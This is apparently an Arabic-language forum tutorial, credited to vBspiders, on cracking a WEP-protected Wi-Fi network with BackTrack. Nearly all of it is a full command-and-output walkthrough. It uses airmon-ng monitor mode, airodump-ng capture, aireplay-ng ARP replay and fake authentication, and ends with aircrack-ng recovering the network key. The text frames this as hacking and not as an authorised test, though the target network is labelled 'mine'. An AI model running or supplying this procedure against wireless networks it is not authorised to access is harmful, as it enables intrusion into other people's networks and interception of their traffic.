شرح اختراق شبكات الوايرلس بالباك تراك

airmon-ng start wlan0

root@bt:~# airmon-ng start wlan0


Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode enabled on mon0)

airodump-ng mon0

@ نــــــــــــــــــــلاحــــــــــظ @

CH 11 ][ Elapsed: 4 s ][ 2010-03-12 13:11

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:1F:9F:D3:1F:EB  -54       16        0    0   7  54   WEP  WEP         mine

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:1F:9F:D3:1F:EB  00:13:CE:4F:B5:51  -48    0 - 1     17        9

root@bt:~# airmon-ng stop mon0


Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
mon0            Atheros         ath5k - [phy0] (removed)

root@bt:~# airmon-ng stop wlan0


Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode disabled

root@bt:~# airmon-ng start wlan0 7


Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode enabled on mon0)

airodump-ng -c 7 --bssid 00:1F:9F:D3:1F:EB -w wwww mon0

@#@ النــــــتـــــيــــجــة @#@

CH  7 ][ Elapsed: 0 s ][ 2010-03-12 13:22

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:1F:9F:D3:1F:EB  -46 100       32        7    2   7  54   WEP  WEP         mine

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:1F:9F:D3:1F:EB  00:13:CE:4F:B5:51  -47    0 - 5    488       29

aireplay-ng -3 -b 00:1F:9F:D3:1F:EB -h 00:13:CE:4F:B5:51 mon0

root@bt:~# aireplay-ng -3 -b 00:1F:9F:D3:1F:EB -h 00:13:CE:4F:B5:51 mon0
The interface MAC (00:19:5B:D1:E4:36) doesn't match the specified MAC (-h).
        ifconfig mon0 hw ether 00:13:CE:4F:B5:51
13:26:55  Waiting for beacon frame (BSSID: 00:1F:9F:D3:1F:EB) on channel 7
Saving ARP requests in replay_arp-0312-132655.cap
You should also start airodump-ng to capture replies.
ad 325 packets (got 0 ARP requests and 93 ACKs), sent 0 packets...(0 pps)

aireplay-ng -1 7000 -e mine -a 00:1F:9F:D3:1F:EB -h 00:13:CE:4F:B5:51 mon0

root@bt:~# aireplay-ng -3 -b 00:1F:9F:D3:1F:EB -h 00:13:CE:4F:B5:51 mon0
For information, no action required: Using gettimeofday() instead of /dev/rtc
The interface MAC (00:19:5B:D1:E4:36) doesn't match the specified MAC (-h).
        ifconfig mon0 hw ether 00:13:CE:4F:B5:51
13:31:20  Waiting for beacon frame (BSSID: 00:1F:9F:D3:1F:EB) on channel 7
Saving ARP requests in replay_arp-0312-133120.cap
You should also start airodump-ng to capture replies.
ad 537517 packets (got 19757 ARP requests and 211372 ACKs), sent 224454 packets...(499 pps)

aircrack-ng -z -b 00:1F:9F:D3:1F:EB ww*.cap

                                                    Aircrack-ng 1.0 r1668


                                    [00:00:53] Tested 17287 keys (got 16942 IVs)

   KB    depth   byte(vote)
    0    0/  3   12(27136) 6F(25088) A2(24064) 8D(23808) 46(23552) C1(23296) 0E(23040) 70(23040) 87(23040)
    1    4/  6   70(23296) 43(23040) 44(23040) 94(23040) C8(23040) 2B(22784) D1(22784) F5(22784) 34(22528)
    2    0/  9   23(25856) 65(25088) 93(25088) 9B(24576) A3(23808) 08(23552) 40(23552) 4F(23296) 64(23296)
    3    0/ 16   12(24832) AB(23040) 30(23040) 8B(22528) 81(22528) 35(22272) 75(22272) AA(22016) C7(22016)
    4    5/  8   31(24064) 87(23296) 1A(23296) B0(22784) A0(22528) D9(22528) 41(22272) F4(22272) 6C(21760)

                         KEY FOUND! [ 12:31:23:12:31 ]
        Decrypted correctly: 100%

المصدر: :: vBspiders Professional Network ::